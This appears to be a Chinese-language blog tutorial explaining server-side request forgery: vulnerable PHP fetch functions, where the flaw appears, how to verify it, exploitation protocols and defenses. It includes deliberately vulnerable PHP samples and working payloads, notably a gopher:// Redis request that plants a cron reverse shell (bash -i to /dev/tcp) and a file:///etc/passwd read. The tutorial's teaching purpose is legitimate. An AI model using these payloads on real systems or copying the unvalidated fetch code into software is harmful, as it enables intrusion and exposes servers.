WEB常见漏洞之SSRF(基础原理篇)

简介: WEB常见漏洞之SSRF(基础原理篇)

0x01 漏洞概述

SSRFServer-side Request Forge )服务器端请求伪造, 由于服务端提供了从其他服务器应获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利存在缺陷的web作为代理,攻击其远程和本地的服务器。

漏洞产生相关函数

    file_get_contents()
    fsockopen()
    curl_exec()
    fopen()
    readfile()

    1.file_get_contents()

      <?php
      $url = $_GET['url'];;
      echo file_get_contents($url);
      ?>

      file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

      2.fsockopen()

      <?php 
      function GetFile($host,$port,$link) { 
          $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
          if (!$fp) { 
              echo "$errstr (error number $errno) \n"; 
          } else { 
              $out = "GET $link HTTP/1.1\r\n"; 
              $out .= "Host: $host\r\n"; 
              $out .= "Connection: Close\r\n\r\n"; 
              $out .= "\r\n"; 
              fwrite($fp, $out); 
              $contents=''; 
              while (!feof($fp)) { 
                  $contents.= fgets($fp, 1024); 
              } 
              fclose($fp); 
              return $contents; 
          } 
      }
      ?>

      fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

      3.curl_exec()

      <?php 
      if (isset($_POST['url'])){
          $link = $_POST['url'];
          $curlobj = curl_init();// 创建新的 cURL 资源
          curl_setopt($curlobj, CURLOPT_POST, 0);
          curl_setopt($curlobj,CURLOPT_URL,$link);
          curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
          $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
          curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
          $filename = './curled/'.rand().'.txt';
          file_put_contents($filename, $result); 
          echo $result;
      }
      ?>

      curl_exec函数用于执行指定的cURL会话

      注:

      1.一般情况下PHP不会开启fopen的gopher wrapper
      2.file_get_contents的gopher协议不能URL编码
      3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
      4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
      5.curl_exec() //默认不跟踪跳转,
      6.file_get_contents() // file_get_contents支持php://input协议

      0x02 漏洞发现

      既然SSRF有这些危害,那我们要怎么发现哪里存在SSRF,发现了又怎么利用呢?接下来就好好唠唠这点。

      可以这么说,能够对外发起网络请求的地方,就可能存在SSRF漏洞,下面的内容引用了先知社区的一篇文章,文章链接在底部。

      具体可能出现SSRF的地方:

      社交分享功能:获取超链接的标题等内容进行显示
      转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
      在线翻译:给网址翻译对应网页的内容
      图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
      图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
      云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
      网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
      数据库内置功能:数据库的比如mongodb的copyDatabase函数
      邮件系统:比如接收邮件服务器地址
      编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
      未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
      从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

      0x03 漏洞验证

      1.排除法:浏览器f12查看源代码看是否是在本地进行了请求


      比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

      2.dnslog等工具进行测试,看是否访问

      可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

      3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

      从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

      通过二级域名暴力猜解工具模糊猜测内网地址

      4.直接返回的Banner、title、content等信息

      5.留意bool型SSRF

      0x04 利用方式

      让服务端去访问相应的网址
      让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
      可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
      攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
      攻击内网应用程序(利用跨协议通信技术)
      判断内网主机是否存活:方法是访问看是否有端口开放
      DoS攻击(请求大文件,始终保持连接keep-alive always)

       SSRF漏洞利用的相关协议

      file:在有回显的情况下,利用 file 协议可以读取任意内容
      dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
      gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
      http/s:探测内网主机存活

      攻击运行在内网或本地的应用程序

      本地利用方式:

      1.使用file协议 file protocol (任意文件读取)


      curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"

      2.使用dict协议 dict protocol (获取Redis配置信息)


      curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"

      3.使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)


      curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"

      curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:

      curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思不带有任何参数时,curl 就是发出 GET 请求


      $ curl https://www.example.com

      上面命令向www.example.com发出 GET 请求,服务器返回的内容会在命令行输出-v参数输出通信的整个过程,用于调试。我们便可以利用-v参数进行读取文件

      使用file协议curl -v file:///etc/passwd
      使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
      使用dict协议 curl -v "dict://127.0.0.1:端口/info"
      使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"  

      0x05 漏洞防御

      1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

      2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

      3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

      4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

      5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。


      目录
      相关文章
      |
      3月前
      |
      缓存 移动开发 安全
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      190 1
      |
      3月前
      |
      前端开发 Java API
      JAVA Web 服务及底层框架原理
      【10月更文挑战第1天】Java Web 服务是基于 Java 编程语言用于开发分布式网络应用程序的一种技术。它通常运行在 Web 服务器上,并通过 HTTP 协议与客户端进行通信。
      49 1
      |
      4月前
      |
      缓存 移动开发 安全
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      Web安全-HTTP响应拆分(CRLF注入)漏洞
      221 8
      |
      4月前
      |
      安全 关系型数据库 Shell
      Web安全-浅析CSV注入漏洞的原理及利用
      Web安全-浅析CSV注入漏洞的原理及利用
      182 3
      |
      3月前
      |
      存储 安全 前端开发
      在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
      在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
      273 0
      |
      4月前
      |
      安全 应用服务中间件 开发工具
      Web安全-SVN信息泄露漏洞分析
      Web安全-SVN信息泄露漏洞分析
      238 2
      |
      4月前
      |
      JSON 安全 JavaScript
      Web安全-JQuery框架XSS漏洞浅析
      Web安全-JQuery框架XSS漏洞浅析
      595 2
      |
      3月前
      |
      XML JSON API
      ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
      【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
      172 3
      |
      29天前
      |
      前端开发 安全 JavaScript
      2025年,Web3开发学习路线全指南
      本文提供了一条针对Dapp应用开发的学习路线,涵盖了Web3领域的重要技术栈,如区块链基础、以太坊技术、Solidity编程、智能合约开发及安全、web3.js和ethers.js库的使用、Truffle框架等。文章首先分析了国内区块链企业的技术需求,随后详细介绍了每个技术点的学习资源和方法,旨在帮助初学者系统地掌握Dapp开发所需的知识和技能。
      2025年,Web3开发学习路线全指南
      |
      2月前
      |
      设计模式 前端开发 数据库
      Python Web开发:Django框架下的全栈开发实战
      【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
      200 45